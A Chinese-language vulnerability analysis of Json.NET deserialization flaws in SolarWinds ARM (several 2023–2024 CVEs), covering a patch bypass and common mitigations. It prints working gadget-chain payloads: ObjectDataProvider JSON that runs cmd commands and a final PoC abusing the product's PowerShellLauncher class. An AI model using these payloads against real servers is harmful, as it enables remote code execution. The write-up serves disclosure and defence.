SolarWinds ARM json.net 反序列化

之前整理了Solarwinds历史漏洞分析一系列的json.net反序列化漏洞,本文分析下Solarwinds ARM产品一系列的json反序列化,最后补充下json.net常见的几种修复方式。

CVE-2023-35184 漏洞点ExecuteAction

CVE-2023-35180 漏洞点IFormTemplate

CVE-2023-35186 漏洞点GetParameterFormTemplateWithSelectionState

CVE-2024-23478 JsonSerializationBinder补丁绕过

关键修改类在pn.helper.JsonSerializer,新增了ISerializationBinder类,部分类型新增了JsonConverter。主要diff

配置SerializationBinder

目标是ASP.NET Core 2.0开发的应用程序,查看其配置,Startup.cs中的ConfigureServices方法

配置了下面这些东西

csharp

//Filters
options.Filters.Add(new AuthorizeFilter("ArmCookie"));

//SerializerSettings
DefaultContractResolver defaultContractResolver = options.SerializerSettings.ContractResolver as DefaultContractResolver;
if (defaultContractResolver != null)
{
	options.SerializerSettings.NullValueHandling = NullValueHandling.Ignore;
	defaultContractResolver.NamingStrategy = null;
}

//身份验证机制
services.AddAuthorization

看到这里配置的反序列化器是Newtonsoft.Json,net core低版本自带Newtonsoft.Json。 高版本默认自带的序列化器是System.Text.Json,要使用Newtonsoft.Json需要引入Microsoft.AspNetCore.Mvc.NewtonsoftJson.dll并在ConfigureServices配置。

几个漏洞的source点都在pn.WebApi8Man.Controllers.v1.AnalyzeActionController中,

csharp

//CVE-2023-35184
[HttpPost("{actionId}/Execute")]
[TypedJsonResult]
public ChangeResult ExecuteAction(Guid actionId, [FromBody] ExecuteActionParameter data)
{
	IFormTemplate formTemplate = null;
	if (data.FormDataJson != null)
	{
//反序列化ExecuteActionParameter的FormDataJson字段
		formTemplate = this.webApplication.FromJson(data.FormDataJson).ParseExpressions();
	}
	

//CVE-2023-35186
public SuccessResult GetParameterFormTemplateWithSelectionState(Guid actionId, [FromBody] string selectionState)
{
//反序列化传入的selectionState字符串
	IFormTemplate parameterFormTemplate = this.webApplication.ActionService.GetParameterFormTemplate(base.Request.GetUserInfo(), actionId, this.webApplication.FromJson(selectionState));
	IFormTemplate result = (parameterFormTemplate != null) ? parameterFormTemplate.ParseExpressions() : null;
	return new SuccessResult(result);
}

//CVE-2023-35180应该有很多地方,参考CVE-2023-35184

serializationSettings在pn.helper.JsonSerializer中配置

csharp

this.serializationSettings = new JsonSerializerSettings
{
	ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
	TypeNameHandling = TypeNameHandling.Auto,
	TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
	NullValueHandling = NullValueHandling.Include,
	DefaultValueHandling = DefaultValueHandling.Include
};

最终sink点在FromJson方法中

text

		public static T FromJson<T>(this WebApplication webApplication, string jsonString, bool withTypeNames = false)
		{
					......
					jsonString = webApplication.TypeAliasInjectingJsonSerializer.ResolveTypeAliasInJson(jsonString);
				}
				T t = JsonConvert.DeserializeObject<T>(jsonString, new JsonSerializerSettings
				{
					TypeNameHandling = (withTypeNames ? TypeNameHandling.Objects : TypeNameHandling.None),
					MissingMemberHandling = MissingMemberHandling.Ignore
				});
				.......

几个漏洞原理差不多,都是将ExecuteActionParameter.FormDataJson字段反序列化为IFormTemplate类型,下一步需要找到利用链。

找到这个可疑泛型类pn.formTemplates.resourceTemplates.DefaultValueFormTemplateBase<TValue>

csharp

  public abstract class DefaultValueFormTemplateBase<TValue> : 
    DefaultLabelledCanBeDisabledFormTemplate,
    IHasValueFormTemplate<TValue>,
    IHasValueFormTemplate,
    IFormTemplate,
    IDescription
  {
  ......
      public virtual TValue Value
    {
      get => this.value;
      set => this.value = value;
    }
  ......

现在只需要找到其实现存在object类型的字段或实现了DefaultValueFormTemplateBase<Object>的类就能RCE;

定位到其实现的类有如下:

最终找到SearchFieldFormTemplate类其实现了DefaultValueFormTemplateBase<SimpleObject>,而SimpleObject类存在public object Value { get; set; },构造poc就行

csharp

SimpleObject simpleObject = new SimpleObject();
simpleObject.Value = new object();
DefaultValueFormTemplateBase<SimpleObject> test = new SearchFieldFormTemplate();
test.Value = simpleObject;
string json = JsonConvert.SerializeObject(test, settings);
Console.WriteLine(json);

//output
{"$type":"SearchFieldFormTemplate","ObjectType":null,"Filters":null,"Summary":"pn.formTemplates.SimpleObject","Value":{"$type":"SimpleObject","DisplayName":null,"Description":null,"Path":null,"Value":{"$type":"Object"}},"DefaultValu
e":null,"IsRequired":false,"Description":null,"CustomError":null,"AllowApply":true,"Label":null,"IsEnabled":true,"IsEnabledRule":null,"ParsedIsEnabledRule":null,"CustomAttributes":null,"IsHidden":false,"IsVisibleRule":null,"ParsedIs
VisibleRule":null}

最后poc将yso中的payload替换{"$type":“Object”}。

补丁大致是将IFormTemplate的字段IBooleanExpression使用自定义JsonConverter进行反序列化,以及配置ISerializationBinder,实现如下

csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Newtonsoft.Json.Serialization;
using pn.extensions;

namespace pn.helper
{
	public sealed class JsonSerializationBinder : ISerializationBinder
	{

		public JsonSerializationBinder()
		{
		    //配置的白名单
			this.supportedTypesAndAssemblies = this.getPnTypes();
			this.supportedTypes = (from s in this.supportedTypesAndAssemblies
			select s.Split(new string[]
			{
				","
			}, StringSplitOptions.RemoveEmptyEntries).FirstOrDefault<string>()).ToHashSet<string>();
		}
        ......
		public Type BindToType(string assemblyName, string typeName)
		{
			Type type = Type.GetType(typeName);
			if (type == null)
			{
				Assembly assembly = Assembly.Load(assemblyName);
				type = assembly.GetType(typeName, true, true);
			}
			//白名单判断以及SecurityCritical和IsMarshalByRef的判断
			if ((this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef)) && (type.Assembly.GetName().Name.Equals(assemblyName, StringComparison.OrdinalIgnoreCase) || type.Assembly.GetName().FullName.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)))
			{
				return type;
			}
			throw new NotSupportedException("Deserialization of type '" + typeName + "' is not supported.");
		}
        .......
		private bool isSupportedPnType(Type pnType)
		{
			return this.supportedTypes.Contains(pnType.FullName) || this.supportedTypesAndAssemblies.Select(new Func<string, Type>(Type.GetType)).Any((Type t) => t.IsAssignableFrom(pnType));
		}
		private HashSet<string> supportedTypesAndAssemblies;
		private readonly HashSet<string> supportedTypes;
	}
}

BindToType会判断每个需要反序列化的类,具体关注这个条件(this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef),只需要反序列化的类满足其条件职以即可。

来看看常用的payload

text

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

涉及到三个类:

text

System.Windows.Data.ObjectDataProvider //允许
System.Collections.ArrayList //允许
System.Diagnostics.Process //不允许,IsMarshalByRef

所以绕过有两个思路:

  1. 白名单绕过 this.isSupportedPnType(type) 可用ObjectDataProvider链的一半即能任意方法调用,白名单那几乎是WebApi8Man.exe用到的类,只要找到白名单内恶意方法执行命令就行。
  2. 黑名单那绕过 (!type.IsSecurityCritical && !type.IsMarshalByRef)

既然能实现任意方法调用,写了个小工具遍历找到了可利用的两个类。 PS:我只扫了一半不到的dll,应该该有一些别的地方

text


pn.humster.OperatingSystemHelper::CreateTextFile(System.String,System.String,System.Boolean,System.Text.Encoding)

SolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run(System.String,System.Collections.Generic.Dictionary`2<System.String,System.Object>)

最终POC

text

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Run',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd.exe',{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','/c':'calc'}]
    },
    'ObjectInstance':{'$type':'SolarWinds.ARM.PowerShellTools.PowerShellLauncher, SolarWinds.ARM.PowerShellTools, Version=23.2.1.103, Culture=neutral, PublicKeyToken=2ca8767897d7025a'}
}

由于我天真的认为 (!type.IsSecurityCritical && !type.IsMarshalByRef)黑名单修复方式是基于现有的利用链,最开始仅尝试了json.net中的新链子(都无法绕过),最后发现WindowsIdentity链也可以用。

text

Console.WriteLine(typeof(WindowsIdentity).IsSecurityCritical);
Console.WriteLine(typeof(WindowsIdentity).IsMarshalByRef);

//output
//false
//false

可惜的是提了之后回复我已由其他安全研究员提交……,盲猜一波chudypb交的,然后前两天ZDI公布的CVE-2024-23478 ,果不其然。

目前最新补丁将IsSecurityCritical替换成了IsSecurityTransparent

SecurityTransparent、SecuritySafeCritical 和 SecurityCritical参考clr-inside-out-migrating-an-aptca-assembly-to-the-net-framework-4,本地测试大多数类用不了了。

下面的几种防御方式官方文档都能翻到其使用方式,放个测试demo

  • SerializationBinder

csharp

......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.Binder = new MyBinder();
class MyBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
            Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
 
            if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
            {
                //throw new Exception("can't deseriliza rce class.");
                Console.WriteLine("can't deseriliza other class.");
                return null;
            }
            return typeToDeserialize;
        }
    }
  • ISerializationBinder

csharp

......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.SerializationBinder = new ISerializationBinderImpl();
public class ISerializationBinderImpl : ISerializationBinder
{
    public Type BindToType(string assemblyName, string typeName)
    {
        Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
 
        if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
        {
            //throw new Exception("can't deseriliza rce class.");
            Console.WriteLine("can't deseriliza other class.");
            //return null;
        }
        return typeToDeserialize;
    }
    public void BindToName(Type serializedType, out string assemblyName, out string typeName)
    {
        assemblyName = null;
        typeName = serializedType.Name;
    }
}
  • IContractResolver

csharp

......
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.ContractResolver = new SecContractResolver();
public class SecContractResolver : IContractResolver
{
    private static readonly ISet<string> BlackListSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
    {
        "System.Windows.Data.ObjectDataProvider",
    };
    public JsonContract ResolveContract(Type type)
    {
        //throw new NotImplementedException();
        if (BlackListSet.Contains(type.FullName))
        {
            throw new SecurityException($"Type '{type}' is not allowed for deserialization.");
        }
        var defaultContractResolver = new DefaultContractResolver();
        return defaultContractResolver.ResolveContract(type);
    }
}

除了反序列化为任意类型,其他产生漏洞的地方主要靠三点:

  1. 自定义的JsonConvert

  2. 反序列化的类存在恶意setter或getter

  3. 泛型类